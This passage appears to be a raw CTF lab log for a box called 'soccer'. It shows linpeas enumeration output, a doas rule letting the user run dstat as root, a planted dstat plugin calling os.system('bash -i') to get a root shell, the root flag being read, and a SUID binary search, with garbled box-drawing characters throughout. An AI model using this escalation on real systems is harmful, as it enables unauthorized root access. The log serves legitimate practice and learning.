-rw-r--r-- 1 root root 4039 dec 1 13:33 /var/backups/apt.extended_states.2.gz
-rw-r--r-- 1 root root 36981 dec 13 07:46 /var/backups/apt.extended_states.0
-rw-r--r-- 1 root root 61440 mar 19 06:25 /var/backups/alternatives.tar.0
-rw-r--r-- 1 root root 4062 nov 22 16:36 /var/backups/apt.extended_states.3.gz
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 interesting writable files owned by me or writable by everyone (not in home) (max 500)
鈺? book.hacktricks /linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/player
/run/lock
/run/screen
/run/user/1001
/run/user/1001/dbus-1
/run/user/1001/dbus-1/services
/run/user/1001/gnupg
/run/user/1001/inaccessible
/run/user/1001/systemd
/run/user/1001/systemd/transient
/run/user/1001/systemd/units
/snap/core20/1695/run/lock
/snap/core20/1695/tmp
/snap/core20/1695/var/tmp
/tmp
/tmp/.ice-unix
/tmp/.test-unix
/tmp/.x11-unix
/tmp/.xim-unix
/tmp/.font-unix
#)you_can_write_even_more_files_inside_last_directory
/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init
/var/www/html/tiny/uploads
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 interesting group writable files (not in home) (max 500)
鈺? book.hacktricks /linux-hardening/privilege-escalation#writable-files
group player:
/usr/local/share/dstat
/tmp/linpeas.sh
/tmp/peas_result
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching passwords in history files
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/git-core/git-credential
/usr/lib/git-core/git-credential-cache
/usr/lib/git-core/git-credential-cache--daemon
/usr/lib/git-core/git-credential-store
#)there are more creds/passwds files in the previous parent folder
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/mysql/plugin/component_validate_password.so
/usr/lib/mysql/plugin/validate_password.so
/usr/lib/node_modules/pm2/node_modules/enquirer/lib/prompts/password.js
/usr/lib/node_modules/pm2/node_modules/proxy-agent/test/ssl-cert-snakeoil.key
/usr/lib/python3/dist-packages/keyring/__pycache__/credentials.cpython-38.pyc
/usr/lib/python3/dist-packages/keyring/credentials.py
/usr/lib/python3/dist-packages/launchpadlib/__pycache__/credentials.cpython-38.pyc
/usr/lib/python3/dist-packages/launchpadlib/credentials.py
/usr/lib/python3/dist-packages/launchpadlib/tests/__pycache__/test_credential_store.cpython-38.pyc
/usr/lib/python3/dist-packages/launchpadlib/tests/test_credential_store.py
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/client_credentials.cpython-38.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/resource_owner_password_credentials.cpython-38.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py
/usr/lib/python3/dist-packages/twisted/cred/__pycache__/credentials.cpython-38.pyc
/usr/lib/python3/dist-packages/twisted/cred/credentials.py
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-plymouth.path
/usr/lib/systemd/system/systemd-ask-password-plymouth.service
#)there are more creds/passwds files in the previous parent folder
/usr/share/doc/git/contrib/credential
/usr/share/doc/git/contrib/credential/gnome-keyring/git-credential-gnome-keyring.c
/usr/share/doc/git/contrib/credential/libsecret/git-credential-libsecret.c
/usr/share/doc/git/contrib/credential/netrc/git-credential-netrc
/usr/share/doc/git/contrib/credential/netrc/t-git-credential-netrc.sh
/usr/share/doc/git/contrib/credential/osxkeychain/git-credential-osxkeychain.c
/usr/share/doc/git/contrib/credential/wincred/git-credential-wincred.c
/usr/share/man/man1/git-credential-cache--daemon.1.gz
/usr/share/man/man1/git-credential-cache.1.gz
/usr/share/man/man1/git-credential-store.1.gz
/usr/share/man/man1/git-credential.1.gz
#)there are more creds/passwds files in the previous parent folder
/usr/share/man/man7/gitcredentials.7.gz
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 checking for tty (sudo/su) passwords in audit logs
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching passwords inside logs (limit 70)
binary file /var/log/journal/54adfd95645d49d9a102f16e9e98293b/user-1001.journal matches
[ 4.757765] systemd[1]: started forward password requests to wall directory watch.
[ 5.271285] systemd[1]: started forward password requests to wall directory watch.
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晽
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?api keys regex 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暆
regexes to search for api keys aren't activated, use param '-r'
player@soccer:~$
we try this doas
player@soccer:~$
player@soccer:~$
player@soccer:~$ find / -name "doas.conf"
find: 鈥?run/udisks2鈥? permission denied
find: 鈥?run/user/1001/inaccessible鈥? permission denied
find: 鈥?run/sudo鈥? permission denied
find: 鈥?run/cryptsetup鈥? permission denied
find: 鈥?run/multipath鈥? permission denied
find: 鈥?run/lvm鈥? permission denied
find: 鈥?run/systemd/unit-root鈥? permission denied
find: 鈥?run/systemd/inaccessible鈥? permission denied
find: 鈥?run/lock/lvm鈥? permission denied
find: 鈥?run/initramfs鈥? permission denied
/usr/local/etc/doas.conf
find: 鈥?sys/kernel/tracing鈥? permission denied
find: 鈥?sys/kernel/debug鈥? permission denied
find: 鈥?sys/fs/pstore鈥? permission denied
find: 鈥?sys/fs/bpf鈥? permission denied
find: 鈥?var/spool/rsyslog鈥? permission denied
find: 鈥?var/spool/cron/atjobs鈥? permission denied
find: 鈥?var/spool/cron/atspool鈥? permission denied
find: 鈥?var/spool/cron/crontabs鈥? permission denied
find: 鈥?var/lib/update-notifier/package-data-downloads/partial鈥? permission denied
find: 鈥?var/lib/snapd/void鈥? permission denied
find: 鈥?var/lib/snapd/cookie鈥? permission denied
find: 鈥?var/lib/polkit-1鈥? permission denied
find: 鈥?var/lib/apt/lists/partial鈥? permission denied
find: 鈥?var/lib/php/sessions鈥? permission denied
find: 鈥?var/lib/mysql鈥? permission denied
find: 鈥?var/lib/private鈥? permission denied
find: 鈥?var/lib/accountsservice/users鈥? permission denied
find: 鈥?var/lib/nginx/proxy鈥? permission denied
find: 鈥?var/lib/nginx/scgi鈥? permission denied
find: 鈥?var/lib/nginx/fastcgi鈥? permission denied
find: 鈥?var/lib/nginx/uwsgi鈥? permission denied
find: 鈥?var/lib/nginx/body鈥? permission denied
find: 鈥?var/lib/mysql-files鈥? permission denied
find: 鈥?var/lib/udisks2鈥? permission denied
find: 鈥?var/lib/mysql-keyring鈥? permission denied
find: 鈥?var/cache/ldconfig鈥? permission denied
find: 鈥?var/cache/apt/archives/partial鈥? permission denied
find: 鈥?var/cache/pollinate鈥? permission denied
find: 鈥?var/cache/private鈥? permission denied
find: 鈥?var/cache/apparmor/f4764548.0鈥? permission denied
find: 鈥?var/cache/apparmor/26b63962.0鈥? permission denied
find: 鈥?var/tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-modemmanager.service-2jc3qh鈥? permission denied
find: 鈥?var/tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-systemd-resolved.service-aznbgh鈥? permission denied
find: 鈥?var/tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-systemd-logind.service-gqs10e鈥? permission denied
find: 鈥?var/tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-fwupd.service-brjmyf鈥? permission denied
find: 鈥?var/log/mysql鈥? permission denied
find: 鈥?var/log/private鈥? permission denied
find: 鈥?var/log/audit鈥? permission denied
find: 鈥?var/snap/lxd/common/lxd鈥? permission denied
find: 鈥?etc/multipath鈥? permission denied
find: 鈥?etc/polkit-1/localauthority鈥? permission denied
find: 鈥?etc/audisp鈥? permission denied
find: 鈥?etc/sudoers.d鈥? permission denied
find: 鈥?etc/audit鈥? permission denied
find: 鈥?etc/ssl/private鈥? permission denied
find: 鈥?tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-systemd-logind.service-pa8l0f鈥? permission denied
find: 鈥?tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-fwupd.service-2klkjg鈥? permission denied
find: 鈥?tmp/vmware-root_667-3980363901鈥? permission denied
find: 鈥?tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-systemd-resolved.service-ltrdmi鈥? permission denied
find: 鈥?tmp/snap-private-tmp鈥? permission denied
find: 鈥?tmp/systemd-private-d1225d64ed7d49f69e0556c0a759b3c3-modemmanager.service-ia1phh鈥? permission denied
find: 鈥?proc/tty/driver鈥? permission denied
find: 鈥?lost found鈥? permission denied
find: 鈥?root鈥? permission denied
find: 鈥?snap/core20/1695/etc/ssl/private鈥? permission denied
find: 鈥?snap/core20/1695/root鈥? permission denied
find: 鈥?snap/core20/1695/var/cache/ldconfig鈥? permission denied
find: 鈥?snap/core20/1695/var/cache/private鈥? permission denied
find: 鈥?snap/core20/1695/var/lib/private鈥? permission denied
find: 鈥?snap/core20/1695/var/lib/snapd/void鈥? permission denied
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:~$ dstat -h
usage: dstat [-afv] [options..] [delay [count]]
versatile tool for generating system resource statistics)
dstat options:
-c, --cpu enable cpu stats
-c 0,3,total include cpu0, cpu3 and total
-d, --disk enable disk stats
-d total,hda include hda and total
-g, --page enable page stats
-i, --int enable interrupt stats
-i 5,eth2 include int5 and interrupt used by eth2
-l, --load enable load stats
-m, --mem enable memory stats
-n, --net enable network stats
-n eth1,total include eth1 and total
-p, --proc enable process stats
-r, --io enable io stats (i/o requests completed)
-s, --swap enable swap stats
-s swap1,total include swap1 and total
-t, --time enable time/date output
-t, --epoch enable time counter (seconds since epoch)
-y, --sys enable system stats
--aio enable aio stats
--fs, --filesystem enable fs stats
--ipc enable ipc stats
--lock enable lock stats
--raw enable raw stats
--socket enable socket stats
--tcp enable tcp stats
--udp enable udp stats
--unix enable unix stats
--vm enable vm stats
--vm-adv enable advanced vm stats
--zones enable zoneinfo stats
--list list all available plugins
--
-a, --all equals -cdngy (default)
-f, --full automatically expand -c, -d, -i, -n and -s lists
-v, --vmstat equals -pmgdsc -d total
--bits force bits for values expressed in bytes
--float force float values on screen
--integer force integer values on screen
--bw, --black-on-white change colors for white background terminal
--color force colors
--nocolor disable colors
--noheaders disable repetitive headers
--noupdate disable intermediate updates
--output file write csv output to file
--profile show profiling statistics when exiting dstat
delay is the delay in seconds between each update (default: 1)
count is the number of updates to display before exiting (default: unlimited)
player@soccer:~$ dstat 3 10
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read writ| recv send| in out | int csw
1 0 99 0 0| 234m 224m| 0 0 | 0 0 |6373k 12m
0 0 99 0 0| 0 0 | 178b 538b| 0 0 | 253 483
0 0 100 0 0| 0 0 | 103b 331b| 0 0 | 252 491 ^c
player@soccer:~$ cd /usr/local/share/dstat/
player@soccer:/usr/local/share/dstat$ ls
player@soccer:/usr/local/share/dstat$ echo "import os"
import os
player@soccer:/usr/local/share/dstat$
player@soccer:/usr/local/share/dstat$ os.system('bash -i')
-bash: syntax error near unexpected token `'bash -i''
player@soccer:/usr/local/share/dstat$
player@soccer:/usr/local/share/dstat$ vim dstat_pe.pyt
player@soccer:/usr/local/share/dstat$ vim dstat_pe.py
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat pe
you did not select any stats, using -cdngy by default.
dstat: incorrect argument, try dstat -h for the correct syntax
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --pe
/usr/bin/dstat:2619: deprecationwarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/usr/local/share/dstat#
root@soccer:/usr/local/share/dstat# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/usr/local/share/dstat# pwd
/usr/local/share/dstat
root@soccer:/usr/local/share/dstat# cd /root
root@soccer:~# ls
app root.txt run.sql snap
root@soccer:~# cat root.txt
01fd0d3dafe0d3b083a6c69f84154f06
root@soccer:~# cat run.sql
delete from soccer_db.accounts where id != 1324;
root@soccer:~#
so we get the flag!
try suid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
find / -user root -perm -4000 -print 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign
this is another try
还没有评论，来说两句吧...